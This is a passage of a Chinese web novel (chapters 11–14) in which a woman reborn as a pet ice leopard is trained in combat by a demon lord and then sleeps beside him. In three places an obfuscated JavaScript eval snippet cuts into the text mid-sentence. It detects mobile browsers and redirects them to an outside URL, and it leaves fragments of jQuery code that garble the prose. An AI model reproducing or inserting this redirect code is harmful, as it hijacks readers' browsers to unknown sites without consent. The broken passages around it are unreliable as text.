云宛白越想越气、越气越怒,现在干脆无视血冥背对着他,同时眼珠子不停地骨碌碌乱转,防止某人又冷不丁偷袭。 宿庚终于把情绪缓解好了,他假装不知道尊主受挫,而是换成了平日里向尊主传授养豹技巧时的正经,认真说: “尊主,豹儿是位小姑娘,您若是想摸它的肚子,就只能选择腹部,而且摸的幅度也不能太大,最多这样……” 包括具体手法和允许摸的时机,宿庚都一五一十地告诉了血冥。 血冥不动声色地听着,暗自记在心中。 云宛白虽然背对着血冥,但她的耳朵一直支楞着一动一动的,显然很关注他们的对话。 血冥眼尖看到了这一幕,郁闷变为了好笑,便特意对宿庚说:“本尊明白了,罢了,就像你说的,等它自己愿意敞开肚皮并且主动看向本尊的时候,本尊再摸它吧,平日不会再试探它了。” 云宛白还是背对着他,但血冥马上注意到小家伙停滞不动的尾巴开始一扭一晃了起来。 血冥又气又无奈。 这豹,真是成精了。 原本的郁闷被打断,他想开了许多。警惕是件好事,要是随随便便来个人饲养就全身心相信对方,那就是蠢。 自己的乖乖自然是个聪明的小家伙。 血冥不再执着于这件事,而是把它当成未来某天的小惊喜,心境豁达了许多。 不过到现在为止,血冥对乖乖都还只是普通的养宠心态,乖乖在他心中的份量还没上升到峰值。 所以,也差不多是时候带乖乖出去历练历练,让它见见血了。 11. 第 11 章 好日子到头了。 云宛白知道自己迟早有一天要从理论迈向实操,但她绝对没想到这一天到来的这么快,甚至快到她连心理准备都还没来得及做好。 这天,血冥和往常一样顺路将她捞起抱在怀中,也不管它是不是在修炼。 而被骚扰习惯的云宛白也只是下意识瞪了他一眼,就自动调整好被抱的姿势,好让自己舒服一些。 她早就不指望这个男人能学会换位思考,主动选择自己去适应“衣食父母”的节奏。 只是这回,向来话少的血冥忽然对着它语重心长: “乖乖,你吸收的东西其实已经够多了,但你对这些力量的消化吸收还不够。” 他腾出一只手捏了捏云宛白的肉爪,语气中是淡淡的嫌弃:“胆子是够大,但你的爪不够尖,心也不够狠。” 云宛白听完不服气地嗷了一声,心想:我要是能把你挠破皮,那你还当什么反派魔尊?不如趁早下线算了。 实力强不强那也得看对手,你一上来就让我跟你比,你好意思? 血冥并不知道云宛白丰富的内心台词,他终于还是说出了已经斟酌了很久的打算: “从今日起,我会带你去魔域的边缘历练。那里除了环境险峻之外,也有不少凶性难驯实力强大的生物。” “有些是由魔息自然孵化出来的魔怪,有些是其他三界之物沾上堕魔污泥之后魔化而成。或许是人,或许是魔,也可能是妖兽。” “但它们无一例外都失去了理智,只凭本能行为,很是危险。” 血冥顿了顿,补了一句:“对你而言,很是危险。” 云宛白抬起头,摆出死鱼眼的样子盯着他:哦。 血冥避开了它的眼神,清了清嗓子继续道:“你应该也明白,只有在生死险境之下才能激发出你全部的潜力,冰棘豹祖上亦是如此。” “不见血,那就只是兽,而非妖。” “既然你是我的宠物,你就要向我看齐,我当年也是这么一路厮杀过来的,杀的越多,领悟的就越多,实力自然就更强。” 血冥轻描淡写地盖过了他当年的苦,以至于云宛白也没有太把这句话放在心上。 “总之,在魔界,真正的实力就是活下去,无论前方有多少阻挡,有多少人想要你的命,你都必须要成为最后留下来的胜者。” “好好运用你的传承记忆,我不希望今天是我见到你的最后一面。” 这句话说的怪吓人的,云宛白莫名瑟缩了一下脖子。 但是输人不输阵,尤其她还在血冥怀里,就更不能让他瞧不起。 她强行给自己打气,背挺的笔直,扬起自己高傲的头颅。 “很好,就要这样的气势。”血冥摸了摸它的脑袋,不再过多铺垫,打算直接带着它出发。 将一张纸递给了魔殿外的妖使,血冥抱着乖乖直接飞向目的地。 这还是云宛白自从穿书以来,头一回体验飞天遁地的感觉。 她本来以为连蹦极都不敢蹦的自己,此刻一定会有些腿软。可是被一双壮实的双臂紧紧揽在怀中,失重感并没有如潮水般袭来,她内心的恐惧随着耳畔的风声逐渐消散。 如此广阔的世界,是她原本做牛马的时候不曾看到过的。 本来埋在手臂中的脑袋一点一点地抬起,云宛白睁大眼睛向下望去,这光怪陆离的世界让她忽然萌生出无穷的澎湃,连带着血液也跟着开始沸腾。 假以时日,我一定能够靠着我自己的力量上天入地,在这仙侠剧本里闯出我的一席之地。 从此刻,从现在就要开始转变。 我是云宛白。 但现在,我也是冰棘豹。 云宛白真的很想嚎叫一声来发泄,她忍住了。她要憋着这口气,在待会儿的实战中并且狠狠地磨爪厮杀! 这不是现代,这是稍有不慎就会死的世界。 血冥能感受到怀中豹的蠢蠢欲动,这好战因子真是随他,一模一样。 浅浅勾起嘴角,血冥搜寻了一处适合乖乖见血又不会太过危险的地方,让它学着去狩猎。 为了激发出乖乖的全部实力,他特意说自己并不会出手相助,死了就是死了,死了就不配继续待在他的身边。 但他也告诉云宛白,他给它找的第一个练手之处难度并不高,只要认真对待,就一定能赢。 事实上血冥也并没有离开太远,永远保持在能够救下乖乖的距离之内,只是他躲了起来不被乖乖发现。 大敌当前,云宛白的注意力自然而然也不会放在血冥的身上。 她真的还没见过血,无论是现实还是现在。 虽然内心当中的预设已经做了很多,也连夜回忆起在现实当中看过的血腥限制级电影,但真到了自己出手的时候,她肯定会犹豫畏缩。 这也是人之常情。 “好”在,魔域边界线的凶兽们不给云宛白继续思考下去的时间了。 一只眼球半耷拉在耳边,面目狰狞像狗又像人的怪物终于弓着身慢腾腾走了过来,咧开嘴重重地喘着粗气,味道十分腥臭。 在魔域边界,食物稀缺,每只凶兽都处在饥饿的边缘,冷漠而又残酷。 尤其当血冥抹去了他存在的气味之后,原本躲在暗处观望的怪物自然就被云宛白的味道吸引了过来。他们从来没有闻到过像这样弱小的新鲜血液。 这在森林当中意味着食物、饱腹、难得的快乐。 既然能常年生活在这里,那么就算这些凶兽只剩下求生的本能,它们彼此之间也知道互相的存在,实力相等的残杀只会让自己死的更快。 所以今天突然闯进来的陌生生物,自然就成为了它们在觅食路上的最佳选择。 怪物当中,实力稍强的仍在谨慎观望,而被饥饿冲昏头脑的低级生物自然率先出来当了头兵。 云宛白紧紧盯着最先出来的怪物,半曲着身保持战斗姿态,同时不停扫视对方的全身来寻找破绽。 虽然腿脚还有些微微颤抖,但云宛白不断告诉自己说这并不是在害怕,而是对狩猎血脉的深度唤醒。 就像在传承记忆当中练习了无数遍那样,她也在让自己的血液兴奋起来。 身下的草地开始凝结成冰,极致的冷让云宛白逐渐混淆了冷与热的概念,她觉得自己烫的可怕。 不能再犹豫了。 主动出击才能掌握主动权。 喉间的低吼混杂着刻意而为的粗粝,云宛白抖着尾巴率先向前突刺! 迎着对方的一爪迅速翻身躲过,立即伏地用尾巴发射冰刺限制对方的行动,好让怪物按照自己预设好的道路前进。 随后在冰雾的掩护之下,云宛白伸出爪子,冲着对方耷拉的眼睛就是狠狠一划! 这一套动作行云流水,连躲在暗处观望的血冥都忍不住挑高了眉毛。 小家伙有点东西。 但是等云宛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879096|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白收手之后就发现,尽管怪物的眼球仅凭一条像血肉一样的生物组织摇摇欲坠地维系着,但它的防御力确实很强,挨了一爪都没掉。 反倒是自己的指甲就跟打在钢铁上一样,震的隐隐作痛。 她现在总算是有点理解血冥说的“爪不够利,心不够狠”的意思了。 其实刚才那一爪,自己应该直接向它的脖子抓去,抓的时候也应该学会用力勾手,让爪子像鱼钩那样反扣进脖颈再抓出来,这样就能一击毙命。 而不是自以为仁慈的打算先破坏掉对方的视野再磨练自己的手感。 大意了。 血冥让自己练手的怪物实力比她想象中要强的多,而最让人感到后怕的是,血冥也告诉过她这是魔界最低级的怪物,三岁小魔都能直接手撕的存在。 而自己尽管吃了这么多大补的东西,但在实战面前却连最低级的怪物都不如。 这不是游戏,这对她而言是活生生的世界。 要想在这样残酷的世界生存,就必须要狠。 云宛白是一个习惯一边做事一边总结复盘的人,听着对方被激怒的怪叫声,她迅速调整自己的策略,不让负面情绪继续缠身。 经历了双方的第一次交手,云宛白也意识到了自己的体型与对方差距极大,对方朝她扑来时就像一座大山压在头顶,压迫感很强。 难怪宿庚之前有抱着她安慰说,冰棘豹的天然优势在于修炼快上限高,领悟能力极强。 但不足之处就是在化形之前,体型都会比其他妖兽要小上许多。直到化形后才能达到和其他妖兽类似的成年体型,迎来高速修炼第二春。 小体型在弱肉强食的世界就意味着容易夭折,如果没有族群的保护,基本撑不过化形。 难怪冰棘豹一族喜欢生活在人烟稀少的冰川之上,并且族群数量如此稀少。 但,换而言之。 小个子其实也是一种优势,不是吗? 体型小就意味着行动会更加灵活机敏,而且她移动的速度很快,完全能够弥补她的缺点。 云宛白迅速理清了自己的优劣情况,制定出了新的应敌方案并迅速展开了行动,把学到的各种理论知识都套用在对方身上不断实践。 忘掉了对生死的恐惧,此刻的她进入了玄之又玄的领悟境界。 在不断的交锋中,她身上的伤口越来越多。血液的腥甜味让她更加狂暴兴奋,她感受不到痛苦,只能体验到淋漓尽致来使用全部力量的舒畅。 对面的怪物更是好不到哪里去,本就饥饿的它本来只打算速战速决保存体力,但云宛白对它的消耗让它被情绪逼的杀红了眼,也开始挥霍自己的力量进入红眼状态。 最终。 随着轰的一声,怪物倒在了血泊之中,抽搐几下之后就没了动静。 直到温热的血液逐渐转凉,云宛白这才松开已经发麻的嘴,从怪物的背上跳下。 她的体力已经消耗殆尽,擂鼓般的心跳逐渐平息,身体也从麻木状态中恢复,慢慢重新拥有痛觉。 她低头,看到自己的毛发上黏着早已干涸了的红褐色,根本分不清到底是怪物的血还是她自己的血。 好像,有点冷。 云宛白脑袋发怔,目光迟钝,一下子忘了自己现在到底身处何方。 紧接着,眼前一片天旋地转,她倒在了一个温暖的怀抱中。 “……很棒了。” 她隐约听到。 12. 第 12 章 云宛白这一睡就睡了整整三天三夜。 这是她第一次竭尽全力来攻击,妖丹内的妖力因此被掏空的一干二净。 虽然进入了极度虚弱的状态,但从长远来看是一件好事,能让她的妖丹得到最大程度上的锻炼。也就是说,在同境界下对战,云宛白的妖丹会比其他妖兽更加纯厚更加凝练。 换成现代的语言就是,同样是百分之一百的电量,云宛白的续航能力显然更强。 不仅如此,这三天血冥一直都寸步不离地陪在她的身旁,用自身的魔息不断滋养淬炼着她的体魄,蕴养着她的妖魂。 再加上统妖司全司上下无微不至的照顾,云宛白体内未曾消化的精华能量终于被激活吸收,真正转化为了她实力中的一部分,为她打下了十分坚固的基础。 说实话,血冥本来是打定主意绝不帮忙的,他想锻炼乖乖的生存能力,好让它从多次的生死之境中悟出保命的要义。 这样的战斗经验无论是祖上的传承记忆,亦或是大量灵药珍宝的堆砌,都不如它的亲身体会要来的深刻有用。 更何况,生死搏斗对于妖兽而言,本就是最为重要且必备的能力。 退一万步讲,哪怕乖乖没有被他养在身边,那它独自在外生存时也必然会经历这些,届时生死更不好说。 谁不是从险境当中磨练出来的呢,这很正常,没什么大惊小怪的。 但血冥还是不得不承认,就在乖乖浴血倒下之时,哪怕他正为它的胜利感到高兴,可心情却依然好不到哪里去。 他不想被乖乖知道他的在意,一旦有了依仗,乖乖可能就不会竭尽全力地修炼,而凡事若只想着靠别人,最终一定会养废。 他血冥可不想养一只废物。 在属下面前,他更是不能过多暴露情绪。血冥是知道自己手底下这些人的,但凡找到空子就一定会钻过来,是好是坏并不好说。 所以在白天,血冥尽力控制着自己的行为,只在一旁静看着统妖司忙活,而到了晚上无人之时,他才会给乖乖偷偷疗伤。 看着团缩在榻上的小家伙,血冥忍不住有些感慨。它就这么小一团,站在自己的肩膀上依然绰绰有余,体型大小就跟自己刚见它的时候几乎没什么变化。 放在平日,乖乖睡觉的时候总爱伸腿翻身,一翻身就会发出哼哼唧唧但不讨人烦的叫唤,或者趁他靠近的时候突然睁开眼睛吓他。时而对他翻个白眼,时而抓着他的手指使劲磨牙。 而现在,它就只是安安静静地睡着,连小肚子的起伏都显得很是微弱。 血冥总觉得胸口有些闷。 他又回忆起乖乖第一次对战的场景,它的个子堪堪够到对方大腿,看起来格外弱小。 但它胆子也是真大,居然这么勇敢地拿下了首杀。 血冥又欣慰又有些胸闷,他并不明白这其实就是一种名为心疼的感觉,他只觉得有些过意不去。 是不是我逼它逼的太狠了? 作为我的宠物,就一定要拥有妖王的实力吗? 如果只是快快乐乐的成长,不行吗? 血冥难得多愁善感了起来。 不过很快,他还是坚定了自己的想法,让自己狠下心肠来。 不讨论过程,单从最终的结果来看,这一次的锻炼确实让乖乖受益匪浅,进步飞速。从最开始攻击的犹豫不决,到最后致命一击的狠辣果敢,这可不是在家吃出来的。 况且从乖乖的战斗方式来看,它也是一个好胜心和自尊心特别强的小家伙,这点随他。 所以,对于乖乖甚至不需要按部就班往下进行,让它越级挑战才是最适合并且最能够开发它潜力的训练方式。 血冥打定主意,无视内心情绪的波动,待云宛白伤势恢复之后,立马带它进行了第二次训练。 然后是第三次,第四次…… 每一次的战斗虽然惊心动魄但都都收获颇丰,云宛白也在一次次的越级挑战中逐渐自信。 她慢慢掌握了作为动物的攻击方式,灵活的四肢让她领悟到了更多的可能,而这种野性的搏斗也让她找到了在这个世界的发泄渠道。 其实,她并没有自己想象中那么适应良好,到现在为止,她都还是战战兢兢地活在穿书世界中。 可是每一场战斗,她都能感受到自己的呼吸、自己的疼痛,包括系统每一次的战斗回放,她都能感受到她在以另一种方式真真正正的活着,为自己而活。 云宛白的进步肉眼可见。 虽然个子还是那么的迷你,让人一打眼容易放松警惕,但云宛白现在的爆发力练的非常惊人,她的突刺水平已经堪比魔门一星大将,只要她能占得先手,她基本就能赢。 而且她很有自己的想法,除了血冥教给它的技巧之外,她自己灵光一闪的攻击思路也让魔尊惊艳。 要知道,她来到这个世界也不过短短两三年。 哪怕有无数灵宝的堆砌,要想达到她这样的水平也是基本不可能实现的。 现在她咬血冥的手指,尽管依然不能破皮,但血冥已经能够感受到乖乖牙齿上用的劲了,往他身上抓的印子也比原先消的更慢。 说实话,哪怕血冥有这么多次把她丢到生死险境当中“不管不顾”,但云宛白并不恨血冥,反而还有些感谢他。 她知道如果自己要想躺平的话,生活一定会非常快乐,可她也就失去了穿书的意义。 血冥对她的高要求让她看到自己身上无限的潜力。除了做牛马之外,原来自己只要肯狠下心来,也真的能够成为非常出色的自己。 这个认知对云宛白自信心的树立起到了很大的作用,她也越来越有“魔尊手下第一受宠宠物”的派头了。 大概是经过这三年的相处,云宛白认为自己比谁都要了解血冥的秉性,比原文作者都更了解。 结合这里的世界观,其实这个男人并不算是大反派,他只对魔族的敌人凶狠,对实现一统大道上的障碍凶狠,为了大局,他可以有所牺牲,所有魔族人都愿意牺牲。 只是他失去了太多,多到麻木,多到没有办法停下来休息。这份痛苦,他只会在深夜中暴露。 云宛白不知道是不是自己在魔界待久了,有点被同化,她好像有点能够共情这个魔尊。 但也仅仅止步于理解。 反正,在摸透他的性格之后,云宛白变得更加放肆起来,在他的容忍界限之内肆意妄为。 血冥那就是移动的经验包,他所有的一切都是好东西,包括他身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879097|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然溢出的魔息。在尝过至纯魔息之后,云宛白已经瞧不上普通版本的了。 与其便宜空气,倒不如便宜了我。 于是在某一天的夜里,早就把自己当成雪豹、已经没有脸皮和男女之防的云宛白,就这么堂而皇之地来到了血冥身旁,对准他的床榻和火丝被就是这么一踩一转一盘坐,舒舒服服地睡了起来。 这是血冥正式向她开放侧殿的第二天,云宛白也是一点都不客气。 血冥被她的动静吵醒了,或者说,他早就听到了乖乖的动静,但他不知道乖乖要做什么,便一直耐心等待着。 然而当他感受到脚边真的有一团毛绒绒的东西挨着他睡的时候,他的身体显然有些僵硬。 不确定乖乖到底做了什么,他小心翼翼地坐起身向脚边望去。 果然如他所料,乖乖真的跳到了他的床上,看起来打算跟他一起睡? 血冥的大脑正在疯狂运转,他并不理解眼前的情况,以及乖乖为什么要过来黏着他。 以至于血冥呆坐了很久,一动不动。 云宛白可不管他在想什么,反正这么好的被子不加我一个躺着多可惜啊,而且我这么迷你,在床上根本占不了多大位置。 再说了,我直接送上门总比你半夜睡不着,老来我房里盯着我要好吧。 云宛白没有任何的内疚感,就这么舒舒服服地睡了起来,她还用力往血冥的小腿方向挤了挤,好让自己靠近床榻的轴线,不容易掉下去。 感受到血冥没那么配合的把身体往床榻里面挪,云宛白还冲他的小腿哈了一口气,重新站起来转圈圈踩踩踩,逼的他屈腿往里之后这才满意地重新躺下。 这过程中,云宛白甚至都没管血冥到底有什么反应,她深知只要不触碰到他的底线,这种小事情他不会跟自己计较的。 事实上也确实如此,血冥只是有些哭笑不得,并没有太过生气。 他只是在想,乖乖的摇篮也是精心布置而成的,它为什么放着好好的摇篮不睡,非要来和我挤着。 难不成,这是它向我表达信任的一种方式? 天人交战了很久,血冥最终还是放弃思考,弯下腰,无奈地伸手摸了摸它的脑袋。 随它吧。 在接受了床搭子这个现实之后,血冥认命地起身,拿出一块手帕把乖乖的四个爪子仔细擦干净。 虽然他有时候会一身带血的回来,看似狂放不羁,但在他私人的领域中,特别是床榻,血冥还是有一点点小洁癖的。 把爪子擦干净后,他又对着乖乖施了一个洁净术,这才小心地重新躺回到床上,给它留出足够的空间一起入睡。 闻着空气中乖乖的毛绒味,血冥眉宇间的神情似乎也柔软了几分。 但很快,新的问题又来了。 就在血冥阖上双眼休憩、半梦半醒之时,乖乖忽然翻身躺平,肚子朝着天花板用力伸了个懒腰,然后站起身踩踩踩,又找了一个新的舒适位一屁股躺下。 血冥被吵醒,直到没动静之后他才继续闭眼酝酿睡意。 又过了半小时,云宛白打了个喷嚏,跳下床小口喝了点水,又跳上来继续睡。 血冥缓缓睁开眼。 这回,他真睡不着了。 13. 第 13 章 往日里,就算外面有一丝风吹草动,在没有意识到危险的时候,他是完全可以伴着这些声音入睡的。 可是这回,脚边多了一团会呼吸的毛茸茸。听着乖乖的呼吸声入眠,总觉得有些别扭。 果然,血冥失眠了。 明明它的声音也不大,自己能够忍受,但独居多年的血冥真的很不适应有除了自己以外的其他动静,怎么睡都不安稳。 让乖乖睡在侧殿的摇篮里,和让它进入偏殿睡在自己身旁,这两者的对比非常强烈。 血冥有考虑过要不要施法把乖乖送回到它自己的摇篮上,可每当他看到乖乖两只爪子紧紧抱着被子的时候,他都会无可奈何地打消这个念头。 就这样连续失眠了两三天,虽然睡觉与否对血冥来说并没有大碍,但个人领地被侵占的不适感仍然没有减轻几分。 等他好不容易下定决心,今晚绝不让乖乖躺在自己身旁后,乖乖就跟有读心术一样每次都先发制人地跳上了床榻,舒舒服服地睡了起来,完全不拿他当回事,偶尔还大胆地对他露出小肚子。 尽管等血冥刚要伸出手的时候它就会翻身不许摸,淘气的很。 就这样,血冥想要把它赶下去的话语,就这么憋回了喉咙里。 算了,无妨。 就当……克服一个新的困难吧。 但不得不说,乖乖自从到他床榻睡觉以来睡相变的非常好,从入睡到醒来基本上都保持着一个姿势,几乎没有怎么乱动。 而它的呼吸声也很规律,是那种浅浅的吐气声,听着并不炸耳。 而最令他感到困惑的是,这种规律的呼吸声听久了,他不但已经习惯了这样的声音,甚至睡的也更沉了一些。 明明之前还失眠了很多天。 从往往夜半惊醒,到现在睁眼就是天亮,还能顺手摸一摸乖乖柔软的毛发,血冥现在总算不觉得睡眠是一件浪费时间的事情了。 他或许以为自己只是习惯,以为自己克服了所谓的困难,殊不知,他才是被“驯化”的一方。 …… 到了夏季,天气逐渐炎热。领城本就位于整块魔域气温最高的位置,每一个魔族人都耐热喜热。 高温能够蕴养魔族的魂魄,帮助他们保持体内的暴躁与热血,随时都能够爆发出强烈一击。 但云宛白不一样,她祖上本就住在极寒冰川,最不耐热。 往年宿庚都会在她的摇篮里特意装上冰块和一些能降温的东西,虽然不能完全降下温度,但就和大夏天吃了一根冰棍一样,还是浑身舒畅的。 没有任何的犹豫,云宛白打定主意在夏天选择回自己的摇篮里睡觉。 虽然睡在血冥那里有助于修炼,但修炼也不能当饭吃啊。 冰块就可以。 云宛白咬着被宿庚特意制成带甜味的冰块,一边抱在身上降温一边啃着吃。她可不会嫌弃她自己。 头一天,血冥还没发现有什么不正常,他以为乖乖只是半夜口渴,跳下床喝水之后顺道就在摇篮那里睡觉了。 可是过了一天,他发现乖乖还是躺在摇篮里,半点没有陪他一起睡的迹象。 这下血冥有点郁闷了。 一个原因是乖乖没有像之前那么的黏他,这让他很是失落。 另一个原因是他发现没有乖乖睡在自己身旁,他又失眠了。 夜里,他躺在空有自己一人的床上纠结了很久。虽然耳边是久违了的宁静,按理说很适合他入睡。 可他也不明白为什么自己就像是中了毒一样,各种翻身各种不适应。 甚至他还习惯性的拍了拍床的另一边,示意乖乖挪位置,给他腾出点空间来安放自己的大长腿,不至于总屈着。 然而等他拍完才意识到,乖乖并没有躺在他身边。他睁开了眼睛。 又强行逼自己适应了很久,他还是不可遏制的升起了一种冲动,而久违的暴躁也袭上心头。长舒了一口气让自己冷静下来,他最终还是下了床,轻手轻脚地走到摇篮旁。 盯着呼呼大睡的乖乖,血冥苦笑:你是睡着了,可我还睁着眼呢。 他伸出手,想把乖乖抱起来带回去。 但刚有所行动,就被云宛白啪的一下拍开了。 从好梦中醒来的云宛白怒蹬了他一jio,很是生气,嘴里呼噜呼噜的发出一些声音,一听就很“脏”。 翻译过来就是: 该死的臭男人,大热天的你自己睡得了呗! 冬天挨着大火炉旁边睡觉确实很不错,但是夏天你不让我走,这不是要了我老命吗? 见血冥挨了一脚还不放弃,云宛白绷着脸,两只爪子抵在血冥的手上,严肃认真地再次拒绝。 它的抵触让血冥意识到,这件事情没有商量的余地。 说起来明明自己才是主人,可在乖乖面前却根本没有主人的地位。对这样的结果,血冥表示无可奈何。 又尝试了好几次,最终都以失败告终,血冥这才真的打消了念头,气得他狠狠摸了一下乖乖的脑袋作为泄愤,自己回去睡觉。 作为魔界最强者,他对于温度的需求也是最高的,这也是为什么他的被子一年四季都是火丝被的原因。足够的炎热,能缓解至纯魔息在他体内到处冲撞的痛楚,好让他睡的安稳一些。 不过,这么多年过去了,样、他已经习惯了魔息的存在,但要是没有了乖乖……不行。 这一晚上血冥都没有睡着,到第二天他直接换了一席薄丝床被,又在床脚放满了能直接蒸发不会化水的冰块,这才暗藏得意的强行把乖乖抱回来。 本来云宛白依然保持拒绝的态度,考虑到万一魔尊反派属性发作,她才勉强妥协。可是当她进入到极度凉爽的环境之后,就跟大夏天进了空调房一样舒服的一个机灵,抖了抖身上的毛,直接躺下一声长叹。 都不用血冥催促,她自己就赖着不走了。 这才是大夏天该过的日子嘛~ 有这种好东西,前三年你不拿出来?想到这一点,云宛白又瞪了一眼血冥,被瞪的血冥一脸无辜,虽然不知道发生了什么,但还是好脾气地摸了摸它的脑袋。 日子就这样一天天过去,而养成习惯最多也不过二十一天。 一个月后,血冥收到了神思渺的传信说要一起去人间一趟。 本来他是没有什么异议的,可当他突然意识到晚上没有乖乖陪在自己身旁这件事后,他一下子就有点不想去了。 这放在之前是根本不可能的事情。 谁都知道血冥是一个打架成瘾的人,传闻他杀穿三界,只不过是为了找到每一界的最强者,击败他们以巩固自己身为最强者的地位。 可自从养了乖乖之后,他约架的次数越来越少,也越来越宅,宅到三门五堂的人都得随时待命,不像之前等尊主不在的时候他们就能在领城里头称大王。 也是,领导在的时候,摸鱼都不方便了。 迟迟没有收到血冥的回信,神思渺又递来了一封传信催促,血冥毫不怀疑自己再犹豫下去,好友就会以为他生命受到威胁直接杀来魔界救他。 没有办法,血冥只能在走之前狠狠rua了一把乖乖,还特意带上了录有乖乖睡眠声的留影石,晚上可以伴自己入睡。 这些云宛白都不知情。 她只是觉得血冥真的很符合她对铲屎官的刻板印象,爱吸猫——现在应该说是吸豹,然后一本正经的欠揍。 而她倒是不确定自己到底符不符合猫科应有的特征。 她现在的动物本能会自然而然引导她去做一些事,这些事在她看来是非常正常且符合逻辑的。 比如半夜喝水,那渴了总要喝水啊,又不是没水喝。 比如半夜起身,睡得不舒服留换个姿势睡,也没毛病啊。 所以她觉得自己没有任何问题。 至于这些本能反应会不会和雪豹的习性相悖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879098|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那她就不知道了。 毕竟在现实世界的时候,她也只是看着直播间云养豹,而且更多看的还是它们白天玩耍的片段,比较的碎片化。 或许动物本身就会有许多无法用理性来定义的行为,就像她也不知道原来身为雪豹的自己,性格还有这么多跳脱以及反差的一面。 哪怕她时不时提醒自己面对魔尊要保持理性和冷静,万一惹对方不高兴,对自己小命有碍。但有时候她就是控制不住自己的波动,高兴的时候就拉着血冥一块高兴,不高兴的话她就想让所有人都不高兴。 很任性,但也确实很爽。 不过她也清楚,自己和血冥之间的感情基础还并不牢固,并不足以支撑自己提出更多过分的要求。 就好比,人会对养了三天的宠物也有着自以为强烈的感情,也会为它流下眼泪。 但这种眼泪顶多一两天就止住了,哪怕回忆起来也只有唏嘘。 可如果是养了十多年已经当成家人的宠物离世,那这种痛苦才叫真正的痛不欲生,每次回忆起来都会泪湿眼眶,时不时地钝痛。 她并不满足成为第一种状态,不管是为了小命还是为了别的,她都要尽可能成为血冥心目中第二种情况的存在。 不过这只是支线任务,她最重要的主线任务还是要提高自己的实力才行。 血冥不在也不要紧,她可以在宿庚的陪同下去之前的刷怪点继续练习。不过这回,是不是可以再挑一个更大一点的家伙练手了? 另一边。 血冥和神思渺在追查完一个线索之后就分别了,而血冥正好顺道拜访了一位他在人界的盟友——山茗阁的阁主,倒卖三界武器的二道贩子,自称饕餮。 这是个很有趣的家伙,和自己一样都是人族和魔族的混种。凭他的能力完全可以去仙界或魔界当个座上宾,但他偏偏喜欢住在人界,说是人界的美食最合他口味。 以往血冥并不会和饕餮聊太久,顶多讲讲计划的进展,不到一盏茶的功夫就会离开。 但今天不知道怎么的,看到饕餮肩膀上那只小鹦鹉,他就特别想聊一聊养宠的事。 饕餮养了这只鹦鹉十年,平日大家找他都只谈生意,谈完就走无情的很。 难得有人问他养宠的经验,尤其这个人还是他最信任的盟友,话匣子一下子就打开了。 “早就听说你养了一只冰棘豹却不曾有机会问你,”饕餮大笑,“怎么样,感觉如何?” 他肩膀上的鹦鹉也重复道:“如何!如何!” “还不错,只是,困惑也有许多。” 血冥很是认真地与他交流,正好有件事他想问问饕餮。 在对待乖乖这件事情上,血冥一直不知道该如何代入自己的心情。 他没有太多丰富的情绪,除了知道恨的滋味之外,最多还有个友情能体会,但乖乖到底属于哪个范畴他并不清楚。 饕餮哎了一声,一副过来人的语气拍拍肚子说:“这简单!养宠嘛,其实就跟养孩子一样,你看我家就是个皮儿子,天天就会捣蛋。但当爹的能怎么办,只能宠着呗。” “我是你爹!我是你爹!” 鹦鹉听懂了,扑棱着翅膀反抗,被饕餮弹了个脑瓜崩后更是气的大骂。 血冥这时候才恍然大悟,原来这是一种当爹的心态,他把乖乖当成了自己的女儿,所以才会这么宠着它任由它胡来。 难怪……那这一切就都说得通了。 那天起,血冥打通了自己的任督二脉。 他并没有当爹的经验,但自从认知清晰之后,他的所作所为都有了依据,他知道自己要怎么对待乖乖了。 第一件事,自然就是—— “乖乖,以后我就是你的爹爹,你明白了吗?”他摸着云宛白的脑袋,语重心长说道。 这话一出,呛的正在进食的云宛白连肉粒都喷出来了,一脸震惊的抬头。 我靠!你在说什么啊! 14. 第 14 章 云宛白发誓,她想要刀了这个男人的心从来没有这么强烈过。 呵,当名义上该死的主人也就算了,你居然还想占我便宜当我爹?! 我才是你爹! 云宛白的反应特别激烈,换谁都不能忍受这种无中生父的情况。 更何况她是豹子身人类心,拒绝爹味。 然而,云宛白的激烈反应,似乎被血冥解读成了另一种意思? “乖乖,你怎么这么激动?”血冥把云宛白抱了起来,笑着蹭了蹭它的脑袋。 “从前我不知道该如何对待你,不过前几日我找到了答案。” 找到什么答案了你! 答案难道就是当我爹? 被张牙舞爪的乖乖逗到不行,血冥强行把它的反抗默认为满意,自顾自的定下了这个称呼。 不过,在说到这个称谓的时候,血冥语气放软,抱着它好声好气地解释: “我知道,你从出生起应该就没见过你的父母,我也是。” “我也没见过我的父亲,只知道他是人族。” 听到血冥难得提起了他的身世,而且还是原文中不曾描述到的身世背景,云宛白还是升起了几分好奇,安静下来听他叙述。 